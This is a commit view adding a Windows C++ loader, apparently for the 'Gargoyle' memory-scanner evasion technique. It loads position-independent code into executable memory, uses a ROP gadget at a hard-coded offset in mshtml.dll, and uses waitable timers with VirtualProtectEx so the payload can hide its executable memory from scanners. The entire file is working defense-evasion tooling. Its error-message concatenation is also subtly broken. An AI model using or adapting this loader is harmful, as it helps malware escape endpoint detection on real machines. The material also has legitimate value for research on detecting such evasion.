|
| 1 | +#include <vector> |
| 2 | +#include <tuple> |
| 3 | +#include <fstream> |
| 4 | +#include <iostream> |
| 5 | +#include "Windows.h" |
| 6 | +#include <psapi.h> |
| 7 | + |
| 8 | +using namespace std; |
| 9 | + |
| 10 | +namespace { |
| 11 | + typedef void(*callable)(void*); |
| 12 | + constexpr DWORD invocation_interval_ms = 5 * 1000; |
| 13 | + constexpr size_t stack_size = 0x10000; |
| 14 | + |
| 15 | + struct SetupConfiguration { |
| 16 | + uint32_t initialized; |
| 17 | + void* setup_address; |
| 18 | + uint32_t setup_length; |
| 19 | + void* VirtualProtectEx; |
| 20 | + void* WaitForSingleObjectEx; |
| 21 | + void* CreateWaitableTimer; |
| 22 | + void* SetWaitableTimer; |
| 23 | + void* MessageBox; |
| 24 | + void* tramp_addr; |
| 25 | + void* sleep_handle; |
| 26 | + uint32_t interval; |
| 27 | + void* target; |
| 28 | + uint8_t shadow[8]; |
| 29 | + }; |
| 30 | + |
| 31 | + struct StackTrampoline { |
| 32 | + void* VirtualProtectEx; |
| 33 | + void* return_address; |
| 34 | + void* current_process; |
| 35 | + void* address; |
| 36 | + uint32_t size; |
| 37 | + uint32_t protections; |
| 38 | + void* old_protections_ptr; |
| 39 | + uint32_t old_protections; |
| 40 | + void* setup_config; |
| 41 | + }; |
| 42 | + |
| 43 | + struct Workspace { |
| 44 | + SetupConfiguration config; |
| 45 | + uint8_t stack[stack_size]; |
| 46 | + StackTrampoline tramp; |
| 47 | + }; |
| 48 | +} |
| 49 | + |
| 50 | +Workspace& allocate_workspace() { |
| 51 | + auto result = VirtualAllocEx(GetCurrentProcess(), nullptr, sizeof(Workspace), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
| 52 | + if (!result) throw runtime_error("Couldn't VirtualAllocEx: " + GetLastError()); |
| 53 | + RtlSecureZeroMemory(result, sizeof(Workspace)); |
| 54 | + return *static_cast<Workspace*>(result); |
| 55 | +} |
| 56 | + |
| 57 | +tuple<void*, size_t> allocate_pic(const string& filename) { |
| 58 | + fstream file_stream{ filename, fstream::in | fstream::ate | fstream::binary }; |
| 59 | + if (!file_stream) throw runtime_error("Couldn't open " + filename); |
| 60 | + auto pic_size = static_cast<size_t>(file_stream.tellg()); |
| 61 | + file_stream.seekg(0, fstream::beg); |
| 62 | + auto pic = VirtualAllocEx(GetCurrentProcess(), nullptr, pic_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); |
| 63 | + if (!pic) throw runtime_error("Couldn't VirtualAllocEx: " + GetLastError()); |
| 64 | + file_stream.read(static_cast<char*>(pic), pic_size); |
| 65 | + file_stream.close(); |
| 66 | + DWORD old_protection; |
| 67 | + auto prot_result = VirtualProtectEx(GetCurrentProcess(), pic, pic_size, PAGE_EXECUTE_READ, &old_protection); |
| 68 | + if (!prot_result) throw runtime_error("Couldn't VirtualProtectEx: " + GetLastError()); |
| 69 | + return { pic, pic_size }; |
| 70 | +} |
| 71 | + |
| 72 | +void* get_gadget(bool use_mshtml, const string& gadget_pic_path) { |
| 73 | + if (use_mshtml) { |
| 74 | + auto mshtml_base = reinterpret_cast<uint8_t*>(LoadLibraryA("mshtml.dll")); |
| 75 | + return mshtml_base + 7165405; |
| 76 | + } else { |
| 77 | + void* memory; size_t size; |
| 78 | + tie(memory, size) = allocate_pic(gadget_pic_path); |
| 79 | + return memory; |
| 80 | + } |
| 81 | +} |
| 82 | + |
| 83 | +void launch(const string& setup_pic_path, const string& gadget_pic_path) { |
| 84 | + void* setup_memory; size_t setup_size; |
| 85 | + tie(setup_memory, setup_size) = allocate_pic(setup_pic_path); |
| 86 | + |
| 87 | + auto use_mshtml{ true }; |
| 88 | + auto gadget_memory = get_gadget(use_mshtml, gadget_pic_path); |
| 89 | + |
| 90 | + auto& scratch_memory = allocate_workspace(); |
| 91 | + auto& config = scratch_memory.config; |
| 92 | + auto& tramp = scratch_memory.tramp; |
| 93 | + |
| 94 | + tramp.old_protections_ptr = &tramp.old_protections; |
| 95 | + tramp.protections = PAGE_EXECUTE_READ; |
| 96 | + tramp.current_process = GetCurrentProcess(); |
| 97 | + tramp.VirtualProtectEx = VirtualProtectEx; |
| 98 | + tramp.size = static_cast<uint32_t>(setup_size); |
| 99 | + tramp.address = setup_memory; |
| 100 | + tramp.return_address = setup_memory; |
| 101 | + tramp.setup_config = &config; |
| 102 | + |
| 103 | + config.setup_address = setup_memory; |
| 104 | + config.setup_length = static_cast<uint32_t>(setup_size); |
| 105 | + config.VirtualProtectEx = VirtualProtectEx; |
| 106 | + config.WaitForSingleObjectEx = WaitForSingleObjectEx; |
| 107 | + config.CreateWaitableTimer = CreateWaitableTimerW; |
| 108 | + config.SetWaitableTimer = SetWaitableTimer; |
| 109 | + config.MessageBox = MessageBox; |
| 110 | + config.tramp_addr = &tramp; |
| 111 | + config.interval = invocation_interval_ms; |
| 112 | + config.target = gadget_memory; |
| 113 | + |
| 114 | + printf("Gargoyle PIC located at --> %p\n", setup_memory); |
| 115 | + printf("ROP gadget located at ----> %p\n", gadget_memory); |
| 116 | + printf("Scratch memory located ---> %p\n", &scratch_memory); |
| 117 | + printf("Top of stack -------------> %p\n", &scratch_memory.stack); |
| 118 | + printf("Trampoline cast location -> %p\n", &scratch_memory.tramp); |
| 119 | + |
| 120 | + reinterpret_cast<callable>(setup_memory)(&config); |
| 121 | +} |
| 122 | + |
| 123 | +int main() { |
| 124 | + try { |
| 125 | + launch("setup.pic", "gadget.pic"); |
| 126 | + } catch (exception& e) { |
| 127 | + cerr << "Exception caught: " << e.what() << endl; |
| 128 | + } |
| 129 | +} |
0 commit comments